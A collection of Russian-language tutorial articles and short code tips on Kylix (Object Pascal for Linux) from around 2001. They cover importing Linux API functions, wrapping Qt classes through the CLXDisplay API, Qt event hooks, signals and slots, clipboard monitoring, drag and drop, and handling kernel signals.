Разработчики Kylix также постарались сделать интерфейс системы Linux максимально доступным в среде Object Pascal. Однако, при программировании в Kylix, непосредственное взаимодействие с системой осуществляется несколько сложнее, чем в Delphi и Windows.

Прежде всего, следует учесть, что Linux не так "монолитна", как Windows. То, что мы дальше будем называть "интерфейсом системы" состоит из нескольких независимых друг от друга частей. В Linux графическая подсистема отделена от остальной операционной системы и в принципе эта 32-х разрядная многозадачная ОС может использоваться вообще без графического интерфейса. У такого подхода есть свои преимущества: при решении ресурсоемких задач вся мощность процессора может быть брошена на выполнение полезной работы, а не затрачиваться на перерисовку окон. Кроме того приложениям с текстовым интерфейсом присуща большая стабильность. Работа с графикой в Linux осуществляется на основе сервера XFree86. Эта графическая подсистема предоставляет в распоряжение программиста интерфейсы для выполнения базовых операций, необходимых для построения графического интерфейса пользователя и вывода графической информации. При решении большинства задач у программиста не возникает необходимости писать код, взаимодействующий непосредственно с XFree86. Дело в том, что над XFree86 существует несколько "надстроек", облегчающих работу с графикой и построение пользовательского интерфейса. Одной из таких надстроек является библиотека Qt library, на базе которой реализована графическая оболочка KDE. Qt library является также основой набора компонентов VisualCLX, - аналога VCL для Kylix. Следует отметить, что библиотека Qt реализована не только на Linux. Существуют версии Qt для Mac OS, Solaris и даже для Windows. Ожидается, что поддержка Qt будет введена в Delphi 6.0, что в свою очередь еще больше упростит перенос приложений между Kylix и Delphi.

В Kylix большая часть системных функций Linux инкапсулирована в модулях System, SysUtils и т. д., а большинство возможностей Qt library реализовано в наборе компонентов VisualCLX. Кроме этого Kylix предоставляет программисту возможность непосредственной работы как с интерфейсами Linux, так и с классами библиотеки Qt. Далее мы рассмотрим эти возможности подробнее.

Kylix и Linux API

Импортирование функций Linux API осуществляется достаточно просто и очень похоже на импортирование функций из Windows DLL. В Linux аналогом DLL являются разделяемые библиотеки (shared object files, so files). Обычно имена файлов разделяемых библиотек включают расширение .so. Не следует путать эти файлы с файлами объектного кода. Модули времени выполнения Kylix импортируют многие функции Linux API. Например, модуль Libc импортирует функции glibc - GNU C library. Между именами функций glibc и их декларациями в Libc существует четкое соответствие, так что для изучения функций модуля Libc можно воспользоваться документацией по glibc и страницами man. Между прочим, если в окне редактора кода поместить курсор на имя glibc функции и нажать F1, будет открыто не окно справки Kylix, а соответствующая man-страница.

Рассмотрим, например, glibc функцию fork, которая создает в системе новый процесс, являющийся точной копией того процесса, из которого вызвана эта функция. В glibc данная функция определена следующим образом:

pid_t fork (void);

В модуле Libc декларация этой функции выглядит так:

function fork: __pid_t; cdecl;

Обратите внимание на указание формата вызова cdecl. Этот формат используется по умолчанию для вызова системных функций Linux, также как в Delphi для вызова функций Win32 API используется stdcall.

Вы сами можете импортировать функции из разделяемых библиотек. В следующем примере осуществляется импортирование функции vga_setmode из библиотеки VGAlib (разделяемый файл libvga.so). В заголовке библиотеки, написанной на С, эта функция объявляется как

int vga_setmode (int mode);

В модуле Kylix пишем:

…
interface

function SetVGAMode (Mode: Integer) : Integer; cdecl;

…

implementation

function SetVGAMode; external 'libvga.so' name 'vga_setmode';

…

Интеграция кода, написанного на C/C++, и Kylix-приложений будет рассмотрена подробнее в следующих статьях.

Kylix и Qt library
Библиотека Qt library является основой библиотеки VisualCLX точно также, как Windows GUI API является основой Delphi VCL. Большинство компонентов VisualCLX можно рассматривать как "Object Pascal оболочки" соответствующих объектов Qt library.

Однако механизм взаимодействия между VisualCLX и Qt library сложнее, чем механизм взаимодействия между VCL и Windows GUI API. На рисунке справа показаны различные уровни интерфейсов между XFree86 и VisualCLX. На схеме видно, что между VisualCLX и Qt library лежит "прослойка" CLXDisplay API. Необходимость в этой "прослойке" вызвана тем, что Qt library - это не набор функций, а иерархия классов С++. В Object Pascal не существует возможности импортировать классы С++ непосредственно, и разработчикам Kylix пришлось пойти в обход этой проблемы.

Идея CLXDisplay API заключается в трансляции методов классов в функции. (Говоря о классах, я буду использовать терминологию Object Pascal, а не С++). Для обращения к какому-либо методу экземпляра класса Qt library вызывается соответствующая функция, которой в качестве одного из параметров передается указатель на экземпляр класса, для которого должен быть вызван данный метод.

Поясним вышесказанное на простом примере: Допустим, в библиотеке, написанной на С++, реализован класс QSomeClass. У этого класса есть конструктор, деструктор и метод Method1. Для того, чтобы сделать методы класса С++ доступными в Object Pascal, мы пишем на С++ библиотеку-оболочку для данного класса, экспортирующую функции QSomeClass_Create, QSomeClass_Destroy и QSomeClass_Method1. Теперь, для того, чтобы в программе, написанной на Object Pascal, создать экземпляр класса QSomeClass, мы вызываем функцию QSomeClass_Create, и передаем ей в качестве параметров значения, требующиеся конструктору класса. Написанная на С++ функция QSomeClass_Create создает экземпляр класса QSomeClass и передает значения своих параметров его конструктору. В качестве результата функция возвращает некий идентификатор созданного экземпляра, например, указатель на него. Таким образом мы можем создать несколько экземпляров класса QSomeClass. Если теперь мы хотим вызвать метод Method1 для одного из экземпляров QSomeClass, мы вызываем функцию QSomeClass_Method1, передавая ей в качестве одного из параметров значение, возвращенное функцией QSomeClass_Create. Оболочка класса вызывает метод Method1 для экземпляра, соответствующего переданному идентификатору, передает этому методу необходимые параметры и затем, если нужно, возвращает значение, возвращенное методом Method1. Для уничтожения экземпляра QSomeClass вызывается функция QSomeClass_Destroy, которой передается идентификатор этого экземпляра.

Таким образом можно сказать, что CLXDisplay API представляет собой набор функций, "деклассирующих" библиотеку Qt library. Для упрощения работы с этим интерфейсом имена функций строятся по определенной системе. Рассмотрим для примера Qt класс QPushButton. Класс QPushButton реализует кнопку - элемент пользовательского интерфейса и является основой класса TButton из библиотеки VisualCLX. У класса QPushButton есть несколько конструкторов, деструктор и ряд методов, таких как SetDefault, IsDefault, SetFlat и т. д. Далее мы рассмотрим, какие функции для работы с этим классом предоставляет CLXDisplay API. Функции интерфейса CLXDisplay API объявляются в Kylix модуле Qt, который поставляется с исходным текстом. В комплект документации, поставляемой с Kylix, справочник по CLXDisplay API не входит, так что нашими главными источниками информации по этому вопросу будут файл Qt.pas из поставки Kylix и документация к Qt library.

Из файла qpushbutton.h, входящего в Qt library, явствует, что у класса QPushButton три конструктора:

QPushButton( QWidget *parent, const char *name=0 );
QPushButton( const QString &text, QWidget *parent, const char* name=0 );
QPushButton( const QIconSet& icon, const QString &text, QWidget *parent, const char* name=0 );

Каждому из этих конструкторов соответствует своя функция в модуле Qt:

function QPushButton_create(parent: QWidgetH; name: PAnsiChar): QPushButtonH; overload; cdecl;
function QPushButton_create(text: PWideString; parent: QWidgetH; name: PAnsiChar): QPushButtonH; overload; cdecl;
function QPushButton_create(icon: QiconSetH; text: PWideString; parent: QWidgetH; name: PAnsiChar): QPushButtonH; overload; cdecl;

Обратите внимание на спецификатор overload. В качестве префикса к имени функции используется имя класса, в данном случае QPushButton. Далее следует _create, означающее, что функция создает экземпляр класса и вызывает его конструктор. Все три функции возвращают значение типа QPushButtonH, которое является ссылкой на созданный экземпляр объекта. Это значение следует передавать другим функциям для работы с экземпляром QPushButton. Имя типа ссылки на экземпляр класса составляется из имени класса с добавлением H. Обратите внимание на переменную parent типа QWidgetH - эта переменная является ссылкой на экземпляр одного из потомков класса QWidget, базового класса Qt library. В этом параметре передается ссылка на экземпляр объекта пользовательского интерфейса, которому принадлежит создаваемая кнопка. В иерархии указателей действуют те же правила, что и в иерархии классов: переменной типа QWidgetH можно присваивать указатель на экземпляр любого класса-потомка QWidget. В переменной name передается имя экземпляра. Оно используется в некоторых средах разработки и для поиска экземпляра объекта в иерархии объектов. Вы можете присваивать этой переменной любое значение.

Для уничтожения экземпляра объекта QPushButton служит процедура QPushButton_destroy:

procedure QPushButton_destroy(handle: QPushButtonH); cdecl;

В качестве единственного параметра этой функции передается ссылка на экземпляр объекта, который нужно уничтожить. Для вызова метода SetFlat, отключающего или восстанавливающего вывод границы для неактивной кнопки, служит процедура QPushButton_setFlat:

procedure QPushButton_setFlat(handle: QPushButtonH; p1: Boolean); cdecl;

Для проверки того, является ли данная кнопка элементом управления, выбираемым по умолчанию предназначена функция

function QPushButton_isDefault(handle: QPushButtonH): Boolean; cdecl;

В начале этого раздела было отмечено, что в основе компонентов VisualCLX лежат классы Qt library. Можно ли получить доступ к экземпляру класса Qt, соответствующему данному экземпляру класса VisualCLX? VisualCLX предоставляет такую возможность. Для каждого класса VisualCLX определено свойство Handle, которое во время выполнения программы содержит ссылку на "нижележащий" класс Qt library. Эта ссылка позволяет вызывать методы класса Qt. Рассмотрим конкретный пример. Пусть при проектировании пользовательского интерфейса приложения в окне формы была создана кнопка - компонент класса TButton. Это означает, что в программу была введена переменная Button1 : TButton. Как и следовало ожидать, свойство Button1.Handle имеет тип QPushButtonH. Воспользуемся этим указателем для доступа к Qt объекту и сделаем данную кнопку элементом управления по умолчанию:

QPushButton_setDefault(Button1.Handle, True);

Конечно, тоже самое можно было бы сделать и при помощи свойства Default объекта Button1.

В заключение отмечу одну юридическую тонкость, касающуюся использования Qt и Kylix. Библиотека Qt library распространяется на основе двух типов лицензий: бесплатной и коммерческой. Если Вы получили Qt в составе дистрибутива Linux, значит Вы являетесь обладателем бесплатной лицензии. За коммерческую лицензию Вам придется заплатить дополнительно. Бесплатная лицензия дает Вам право на разработку Qt приложений при условии, что эти приложения будут распространяться на основе General Public License (GPL), т. е. вместе с исходным текстом. Для того, чтобы иметь право распространять Qt приложения на коммерческой основе, Вам потребуется коммерческая лицензия. Если Вы являетесь пользователем легальной копии Kylix, т. е. обладаете лицензией Borland, Вы имеете право создавать при помощи Kylix как открытые, так и коммерческие приложения, даже если у Вас нет коммерческой лицензии на использование Qt. Однако тут действуют некоторые ограничения:

Если Вы используете в коммерческом приложении элементы CLXDisplay API, Ваше приложения должно содержать экземпляр TApplication и хотя бы один компонент, являющийся производным от TControl. В противном случае Вы должны либо распространять приложение на основе GPL, либо приобрести коммерческую лицензию на использование Qt.
Если в создаваемом приложении Вы используете Qt-функциональность, не связанную с CLXDisplay API, (например, взаимодействуя непосредственно с С++ модулями Qt), Вы также должны либо сделать приложение открытым, либо приобрести коммерческую Qt лицензию.
Есть, конечно, и третий путь - просто наплевать на все лицензии, однако я Вам этот вариант не советую.

В этой статье была описана работа с Linux API и вызовы методов объектов Qt library из программы, написанной на Object Pascal. Однако, для того, чтобы воспользоваться мощью Qt в полной мере, необходимо также уметь создавать свои обработчики событий Qt library. О том, как это сделать, будет рассказано в следующей статье.

Статья и примеры программ © 2001 Андрей Наумович Боровский.

Взято из http://forum.sources.ru


Перехватчики событий, сигналы и слоты

Автор: Андрей Боровский (www.kylixportal.chat.ru)

Перехватчики событий

В предыдущей статье была рассмотрена обработка событий Qt в обработчике события OnEvent Kylix класса TApplication. В этой статье будет показан другой метод обработки событий Qt - использование перехватчиков событий (event hooks). Перехватчики событий подобны обработчику события OnEvent, с той разницей, что перехватчики событий позволяют подойти к обработке событий более дифференцировано. Перехватчики назначаются для отдельных объектов Qt, причем каждому объекту может быть назначено несколько перехватчиков для обработки разных типов событий.

Перехватчик может быть процедурой или функцией, являющейся методом объекта Object Pascal и использующей формат вызова cdecl. Для того, чтобы назначить перехватчик какому-либо экземпляру класса Qt, необходимо создать экземпляр класса перехватчика для данного объекта Qt и связать его с методом-обработчиком. Функции, позволяющие сделать это, как и другие функции CLXDisplay API, декларируются в модуле Qt (файл Qt.pas).

В предыдущей статье было писано демонстрационное приложение, позволяющее перемещать фрагменты текста методом Drag and Drop. Теперь мы перепишем это приложение, используя перехватчики событий. Перехватчик назначается компоненту TLabel в конструкторе главной формы. Ниже приводятся декларация класса и исходный текст конструктора.

TForm1 = class(TForm)
    Label1: TLabel;
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCreate(Sender: TObject);
    procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
    DropHook : QEvent_hookH;
    function EventHandler(Handle : QObjectH; e : QEventH) : Boolean; cdecl;
 end;
 ...
 procedure TForm1.FormCreate(Sender: TObject);
 var
   M : TMethod;
 begin
   DropHook:=QEvent_hook_create(Label1.Handle);
   EventFunc(M):=EventHandler;
   Qt_hook_hook_events(DropHook, M);
 end;

DropHook - переменная типа QEvent_hookH, ссылка на объект-перехватчик событий. Не путайте этот объект с объектом, события которого перехватываются. В CLXDisplay API определено несколько объектов перехватчиков различных типов, и для создания каждого из них используется специальная функция. В данном примере мы создаем наиболее общий объект-перехватчик, перехватывающий события разных типов. Функция QEvent_hook_create создает экземпляр такого объекта и связывает его с экземпляром класса, события которого необходимо обрабатывать (в нашем случае - экземпляр QLabel).

Далее мы присваиваем переменной M указатель на метод перехватчик EventHandler. Обратите внимание на преобразование типов. Для того, чтобы выполнить преобразование корректно, необходимо определить тип-функцию

EventFunc = function(Handle : QObjectH; e : QEventH) : Boolean of object; cdecl;

декларация которой в точности соответствует декларации метода-перехватчика.

Связывание метода перехватчика с объектом-перехватчиком выполняется функцией Qt_hook_hook_events. Первый параметр функции - указатель на объект-перехватчик, второй параметр - указатель на метод. Учтите, что для каждой пары "объект-перехватчик / тип перехватываемых событий" в модуле Qt определена своя функция, связывающая объекты и методы перехватчики.

Сам метод перехватчик похож на метод обработки событий из предыдущего примера. Ссылка на объект события передается в переменной e, а значение, указывающее на то, следует ли вызывать обработчик события, назначенный объекту по умолчанию, возвращается в качестве результата функции. Обратите внимание на то, что в новом примере мы не проверяем, с каким Qt объектом связано обрабатываемое событие. В этом нет необходимости, так как метод перехватчик связан лишь с одним экземпляром Qt класса. Однако мы могли бы связать этот метод с несколькими объектами, и тогда параметр Handle позволил бы нам определить, каким Qt объектом вызван перехватчик.

Уничтожение объекта-перехватчика выполняется в деструкторе формы. Для этого служит функция QEvent_hook_destroy.

Исходный текст демонстрационного приложения находится здесь. Как и пример из предыдущей статьи, это приложение может быть скомпилировано и в Kylix (для Linux), и в Delphi 6 (для Windows). Для того, чтобы это приложение выполнялось корректно, Вам возможно придется исправить ошибку в модуле Qt (см. предыдущую статью).

Еще один пример использования перехватчиков - приложение, отслеживающее состояние буфера обмена Qt. Это приложение отображает информацию о mime-типах данных, скопированных в буфер обмена. Кроме того, если в буфере обмена присутствуют данные в текстовом формате, приложение отображает и сами данные. Информация обновляется при изменении содержимого буфера обмена. Для того, чтобы контролировать состояние буфера обмена, мы создаем объект-перехватчик QClipboard_hook и связываем его с методом перехватчиком, имеющим тип QClipboard_dataChanged_Event. Этот метод вызывается всякий раз при изменении содержимого буфера обмена. Ниже приводится исходный текст метода перехватчика.

procedure TForm1.ClipboardDataChanged;
var
  QMS : QMimeSourceH;
  S : WideString;
  S1 : String;
  i : Integer;
begin
  QMS:=QClipboard_data(CB);
  Memo1.Lines.Clear;
  (* enumerating clipboard data formats *)
  i:=0;
  S1:=QMimeSource_format(QMS, i);
  while S1<>'' do
  begin
    Memo1.Lines.Add(S1);
    Inc(i);
    S1:=QMimeSource_format(QMS, i);
  end;
  Label3.Caption:='';
  (* if text data is available, we retrieve it *)
  if QTextDrag_canDecode(QMS) then
  begin
    QTextDrag_Decode(QMS, @S);
    Label3.Caption:=S;
  end;
end;

Переменная CB указывает на объект буфера обмена. При помощи функции QClipboard_data мы получаем ссылку на объект QMimeSourceH, являющийся контейнером данных, содержащихся в буфере обмена. Этот объект позволяет также получить информацию о типах данных, для чего используется функция QMimeSource_format. Эта функция возвращает строку с именем типа данных. Первый параметр функции - указатель на объект-контейнер, второй параметр - номер типа данных. Типы нумеруются с нуля. Если значение этого параметра превышает номер последнего типа, возвращается пустая строка. В нашем примере мы добавляем строки с именами типов в объект Memo1. Далее с помощью функции QTextDrag_canDecode мы проверяем, содержит ли объект-контейнер данные в текстовом формате и если содержит, извлекаем эти данные при помощи функции QTextDrag_Decode.

Полный исходный текст демонстрационного приложения находится здесь. Отслеживание содержимого буфера обмена работает корректно только для приложений, использующих Qt буфер. С учетом этих ограничений демонстрационное приложение работает и в Windows (будучи скомпилировано в Delphi 6). Для демонстрации его работы Вы можете воспользоваться либо Qt приложениями (в Linux) либо примерами использования CLXDisplay API, поставляемыми с Delphi 6 (в Windows).

В демонстрационном приложении содержится также другой пример использования перехватчиков, в котором с одним объектом-перехватчиком связываются два метода перехватчика. Метод ButtonPressed вызывается в момент, когда кнопка Button1 нажата, метод ButtonReleased в момент, когда кнопка отпущена.

Сигналы и слоты
В приложениях, построенных на основе иерархии объектов часто бывает необходимо, чтобы в ответ на событие, связанное с одним из объектов, вызывался метод другого объекта. Рассмотрим такой пример: пусть в нашем приложении требуется ввести обработку события SomeEvent, связанного с каким-либо объектом VCL. В объекте определено свойство OnSomeEvent процедурного типа TSomeEvent. Когда мы назначаем обработчик событию, мы инициализируем свойство OnSomeEvent значением указателя на метод, список параметров которого соответствует типу TSomeEvent. Как правило метод-обработчик не является методом того объекта, которому принадлежит свойство OnSomeEvent. Таким образом мы устанавливаем связь между двумя объектами. Когда в системе происходит событие SomeEvent, в объекте, с которым связано это событие, выполняется проверка содержимого свойства OnSomeEvent, и если это свойство инициализировано, вызывается соответствующий метод-обработчик.

В Qt library взаимодействие между объектами осуществляется при помощи механизма сигналов и слотов. Объект Qt генерирует (в терминологии Qt "эмитирует") сигнал в ответ на событие. Для приема и обработки сигналов служат слоты. Также как и сигналы, слоты являются частью объектов Qt. Каждому слоту в данном объекте сопоставлен какой-либо метод этого объекта. Для того, чтобы объект реагировал на некоторый сигнал, необходимо связать этот сигнал с одним из слотов объекта. В этом случае после генерации сигнала будет вызван метод, соответствующий данному слоту. Если сигнал несет какие-либо данные о событии, эти данные могут быть переданы методу обработчику через его параметры. Связывание сигналов и слотов похоже на назначение обработчиков событий объектов Object Pascal, однако между реализацией взаимодействия объектов в Object Pascal и Qt есть существенные различия. Многие объекты библиотеки Qt library уже имеют слоты для обработки определенных сигналов и для связывания их друг с другом не требуется перекрывать их методы в объектах-потомках. Во-вторых механизм взаимодействия сигналов и слотов позволяет связывать сигналы и слоты разных типов, не заботясь о соответствии списков параметров. Если список параметров сигнала не соответствует списку параметров обработчика, при вызове обработчик получает значения параметров, установленные по умолчанию. Третье отличие заключается в возможности связывать один сигнал с несколькими слотами и один слот с несколькими сигналами. Это означает, что событию может быть сопоставлено несколько обработчиков, являющихся методами разных объектов, и в ответ на событие будут вызываться все назначенные ему обработчики.

CLXDisplay API предоставляет средства для работы с сигналами и слотами Qt. Для связывания сигналов и слотов служит функция QObject_connect. Функции передается четыре параметра. Первый параметр - указатель на объект-источник сигнала. Второй параметр - строка типа PChar. В этой строке передается имя сигнала, соответствующее синтаксису языка C++. Имя сигнала должно предваряться символом "2". Третий параметр функции QObject_connect - указатель на метод-приемник. Четвертый параметр - строка типа PChar, содержащая имя слота, соответствующее синтаксису C++ и предваряемое символом "1".

Рассмотрим пример:
В Qt классе QLineEdit, лежащем в основе компонента VisualCLX TEdit, определен сигнал textChanged, который эмитируется при изменении строки в окне компонента. В классе QLabel, на котором основан компонент TLabel, определен слот setText, который позволяет задать строку в компоненте Label. Если связать сигнал textChanged экземпляра класса QLineEdit со слотом setText экземпляра класса QLabel, изменения в строке ввода будут немедленно отображаться в строке QLabel. Для того, чтобы связать указанные сигнал и слот, необходимо вызвать функцию QObject_connect со следующими значениями:

QObject_connect(Edit1.Handle, PChar('2textChanged ( const QString & )'), Label2.Handle, PChar('1setText( const QString & )'));

Первый параметр - указатель на объект-источник сигнала, в данном случае QEdit. Второй параметр - имя сигнала, определенное в заголовочном файле C++ qlineedit.h, с прибавлением двойки, указывающей на то, что это сигнал. Третий параметр - ссылка на объект-приемник сигнала (QLabel). Четвертый параметр - имя слота из файла qlabel.h с прибавлением единицы. Обратите внимание на то, что в данном случае списки параметров сигнала и слота совпадают, так что в ответ на сигнал слоту будет передана строка измененного текста. Приложение, демонстрирующее связывание сигналов и слотов в Object Pascal, можно скачать здесь. Следует отметить, что в Delphi 6 это приложение работает не совсем корректно.

Для разрыва связи между сигналом и слотом используется функция QObject_disconnect. Обычно в обращении к этой функции нет необходимости, так как при уничтожении экземпляра Qt объекта все связи с его сигналами и слотами разрываются автоматически. Функцию QObject_disconnect следует использовать если необходимо разорвать связь между сигналом и слотом до уничтожения соответствующих объектов. Список параметров у функции QObject_disconnect такой же, как и у функции QObject_connect. Значение nil, переданное функции QObject_connect в том или ином параметре (сигнал, слот, объект приемник), интерпретируется функцией как "групповой символ" и позволяет выполнять операцию разрыва связи сразу над множеством элементов. Например, вызов

QObject_disconnect(SomeControl.Handle, PChar('2SomeSignal ()'), nil, nil);

отсоединяет все слоты, связанные с сигналом SomeSignal Qt объекта, соответствующего SomeControl.

В рамках CLXDisplay API определено большое количество сигналов и слотов. Если же Вы захотите добавить свои сигналы и слоты, Вам придется объединить фрагменты программ, написанные на Object Pascal и C++.

Взято из http://forum.sources.ru


Как перехватывать kernel-signals?

program TestSignals;

{$APPTYPE CONSOLE}

uses
  Libc;

var
  bTerminate: Boolean;

procedure SignalProc(SigNum: Integer); cdecl;
begin
  case SigNum of
    SIGQUIT:
      begin
        WriteLn('signal SIGQUIT');
        bTerminate := true;
      end;
    SIGUSR1: WriteLn('signal SIGUSR1');
    else
      WriteLn('not handled signal');
  end;
  signal(SigNum, SignalProc); // catch the signal again
end;

begin
  bTerminate := false;

  signal(SIGQUIT, SignalProc); // catch the signal SIGQUIT to procedure SignalProc
  signal(SIGUSR1, SignalProc); // catch the signal SIGUSR1 to procedure SignalProc

  repeat
    sleep(1);
  until bTerminate;
end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить имя текущего пользователя?

function GetCurrentUser: string;
var
  pwrec: PPasswordRecord;
begin
  pwrec := getpwuid(getuid);
  Result := pwrec.pw_name;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Обработка событий Qt в Kylix-приложении

Автор: Андрей Боровский (www.kylixportal.chat.ru)

Что представляют собой события Qt?

Система Windows взаимодействует с приложениями посредством механизма сообщений, обработка которых осуществляется в оконной функции. В приложениях, созданных на основе Qt library, сообщения используются редко, а основным механизмом взаимодействия между приложениями и системой являются события. Концептуально события Qt очень похожи на события Kylix. В ответ на событие система вызывает обработчик, являющийся методом Qt-объекта. Каждому событию в Qt соответствует свой класс. Обработчику события передается ссылка на экзмпляр класса события, содержащий необходимую информацию о нем. Для того, чтобы определить собственный обработчик события для какого-либо Qt класса, следует создать производный класс этого класса и заместить (override) метод-обработчик соответствующего события. Однако средства Object Pascal не позволяют создавать производные классы Qt и замещать их методы, поэтому в Kylix реализован специальный механизм обработки событий.

События Qt и Kylix

Прежде чем приступить к рассмотрению специальных методов обработки событий Qt в Kylix, необходимо отметить, что в большинстве случаев у программиста не возникает необходимости обращаться к этим методам. Для большинства событий Qt в объектной модели Kylix определены соответствующие события Kylix, и обработка этих событий может быть выполнена стандартными средствами Object Pascal. Тем не менее иногда возникает необходимость ввести в приложении обработку Qt событий, не определенных в VisualCLX. В CLXDisplay API предусмотрено несколько механизмов обработки таких событий. В этой статье будет рассмотрен один из них.

Как и в Delphi, в Kylix приложения строятся на основе класса TApplication. В Kylix в классе TApplication определено свойство OnEvent, позволяющее назначать приложению обработчик событий Qt. Обработчик OnEvent вызывается для каждого события каждого объекта Qt, являющегося дочерним объектом форм приложения, а также для других событий приложения.

Тип процедуры обработчика декларируется следующим образом:

procedure (Sender: QObjectH; Event: QEventH; var Handled: Boolean) of object;

В параметре Sender передается ссылка на объект, который должен реагировать на событие. Параметр Event является указателем на объект события. Он позволяет идентифицировать событие и получить информацию о нем. Переменная Handled позволяет сообщить компоненту Visual CLX о том, следует ли вызывать обработчик события, определенный в компоненте.

Рассмотрим простой пример: допустим мы хотим, чтобы перерисовка окна компонента Label1 типа TLabel не выполнялась, если некоторой глобальной переменной NoRedraw типа Boolean присвоено значение True. для этого напишем следующую процедуру AppEventHandler:

 uses Qt, ...

 ...

 procedure TForm1.AppEventHandler(Sender: QObjectH; Event: QEventH;
 var Handled: Boolean);
 begin
   Handled:=False;                       // Allow  default event processing
   if Sender=Label1.Handle then          // Identify sending Qt object
   if QEvent_isQPaintEvent(Event) then   // Identify the Paint event
   Handled:=NoRedraw;        // Disable or enable default event processing
 end;

 procedure TForm1.FormCreate(Sender: TObject);
 begin
   ...
   Application.OnEvent:=AppEventHandler;
 end;

 procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
 begin
   ...
   Application.OnEvent:=nil;
 end;

Определить, какому объекту соответствует событие можно, сравнивая значение Sender с полем Handle экземпляров объектов Kylix. Определенные в модуле Qt.pas функции QEvent_isQXXXEvent действуют подобно оператору is языка Object Pascal и позволяют определить тип события, требующего обработки. Аргументом этих функций является ссылка на объект QEvent, являющийся базовым для всех объектов событий. Функция возвращает True, если ей передан укзатель на объект события соответствующего ей типа и False в противном случае. Так как любой объект события в Qt является потомком класса QEvent, после определения типа объекта события мы можем преобразовать тип значения Event к типу указателя на соответствующий объект события и при помощи функций CLXDisplay API получить доступ к методам этого объекта. Переменная Handled служит для того, чтобы разрешить или запретить дальнейшую обработку события стандартными средствами. В начале мы устанавливаем значение этой переменной равным False, для того, чтобы события обрабатывались компонентами. Для того, чтобы запретить дальнейшую обработку события, нужно присвоить этой переменной значение True.

Обратите внимание на присвоение значения nil свойству OnEvent в методе FormClose. Так как время жизни объекта TApplication превышает время жизни объекта TForm, программа может пытаться вызвать обработчик OnEvent после уничтожения формы. Если после закрытия формы данное поле не будет помечено как свободное (unassigned), при выходе из программы возникнет ошибка сегментации.

Программа, демонстрирующая механизм Drag and Drop
Далее рассматривается небольшое приложение, демонстрирующее перенос данных между двумя Qt-программами методом Drag and Drop. Средства Drag and Drop, предоставляемые Kylix, позволяют переносить данные только между объектами Kylix-приложения, а для того, чтобы осуществлять перенос между разными приложениями, придется обратиться к методам объектов Qt library.

Последовательность событий при использовании механизма Drag and Drop такова: когда пользователь переводит курсор мыши в режиме перетаскивания в область визуального Qt объекта, являющегося приемником Drag and Drop, система генерирует событие dragEnterEvent и вызывает обработчик этого события, определенный в объекте-приемнике. В ответ на это событие объект должен либо подтвердить выполнение Drag and Drop операции, либо отказаться от него. Если объект-приемник подтверждает операцию, курсор мыши приобретает характерный вид "готов к приему объекта" и пользователь может отпустить кнопку мыши для передачи объекта Drag and Drop объекту-приемнику. В противном случае курсор принимает вид "прием Drag and Drop запрещен" и дальнейшие события Drag and Drop не генерируются. Если объект-приемник разрешил Drag and Drop операцию, при дальнейшем перемещении мыши над видимой областью соответствующего интерфейсного элемента генерируется серия событий dragMoveEvent. Если пользователь отпускает клавишу мыши, генерируется событие DropEvent. Обработчик этого события должен выполнить непосредственную операцию вставки данных. При выходе курсора, находящегося в режиме перетаскивания, за пределы визуального элемента система генерирует событие dragLeaveEvent. Следует особо отметить, что обработчики событий не должны уничтожать объекты событий, так как эти объекты контролируются системой.

Для того, чтобы какой-либо элемент Qt приложения мог принимать данные, передаваемые посредством Drag and Drop, необходимо создать производный класс от класса этого элемента, разрешить в этом классе прием Drag and Drop объектов, вызвав метод setAcceptDrops базового класса QWidget и заместить методы обработки событий dragEnterEvent, dragMoveEvent, dragLeaveEvent и DropEvent. Программирование Drag and Drop для Kylix приложения имеет некоторые отличия. В Kylix-приложении прием объектов Drag and Drop разрешен для всех компонентов VCL, поэтому вызывать setAcceptDrops не нужно. Кроме того, поскольку методы компонентов VisualCLX перекрывают обработчики событий Drag and Drop, подтверждать Drag and Drop операции необходимо также и в обработчике события dragMoveEvent. В принципе в Kylix приложении вообще нет необходимости обрабатывать событие dragEnterEvent, но в приводимом ниже примере такая обарботка выполняется для большей наглядности.

Демонстрационное приложение позволяет перетаскивать и вставлять фрагменты текста. Для приема и передачи объектов Drag and Drop используется компонент Label. Ниже приводится обработчик Qt событий AppEventHandler.

 procedure TForm1.AppEventHandler;
 var
   QMS : QMimeSourceH;
   S : WideString;
 begin
   Handled:=False;
   if Sender=Label1.Handle then
   if QEvent_isQDropEventEvent(Event) then
   begin
     if QEvent_isQDragEnterEvent(Event) then
     begin
       if QDropEvent_source(QDropEventH(Event))=Label1.Handle then Exit;
       QMS:=QDropEvent_to_QMimeSource(QDropEventH(Event));
       QDropEvent_acceptAction(QDropEventH(Event), QTextDrag_canDecode(QMS));
     end else
     if QEvent_isQDragMoveEvent(Event) then
     begin
       if QDropEvent_source(QDropEventH(Event))=Label1.Handle then Exit;
       QMS:=QDropEvent_to_QMimeSource(QDropEventH(Event));
       QDropEvent_acceptAction(QDropEventH(Event), QTextDrag_canDecode(QMS))
     end else
     begin
       QMS:=QDropEvent_to_QMimeSource(QDropEventH(Event));
       if QTextDrag_canDecode(QMS) then
       QTextDrag_decode(QMS, @S);
       Label1.Caption:=S;
     end;
   end;
 end;

Прежде чем разобрать работу этого метода, отмечу одну деталь: в модуле Qt содержится ошибка. При первых попытках скомпилировать программу для работы с Drag and Drop, компиляция проходила без проблем, однако приложение аварийно завершалось сразу после запуска. Анализ сообщений, выводимых на консоль, показал, что программа не может разрешить ссылку на внешний объект с именем QEvent_isQDropEventEvent. Эта функция декларируется в файле Qt.pas, однако, судя по сообщениям, выводившимся во время выполнения программы, разделяемая библиотека libqtintf.so.2 не экспортирует функцию с таким именем. Очевидно, что в имя функции вкралась опечатка. Для того, чтобы исправить ошибку я изменил декларацию внешней функции QEvent_isQDropEventEvent в файле Qt.pas. В разделе implementation, в строке, объявляющей экспорт функции, после ключевого слова name я заменил "QEvent_isQDropEventEvent" на "QEvent_isQDropEvent", после чего программа заработала. Остальные имена в декларации функции я менять не стал, так что модуль Qt по-прежнему экспортирует эту функцию как QEvent_isQDropEventEvent. Если Вы хотите иметь возможность запускать демонстрационное приложение из этой статьи, Вы должны сделать тоже самое и перекомпилировать модуль Qt. Между прочим, эта же ошибка имеет место и в соответствующем модуле Delphi 6.

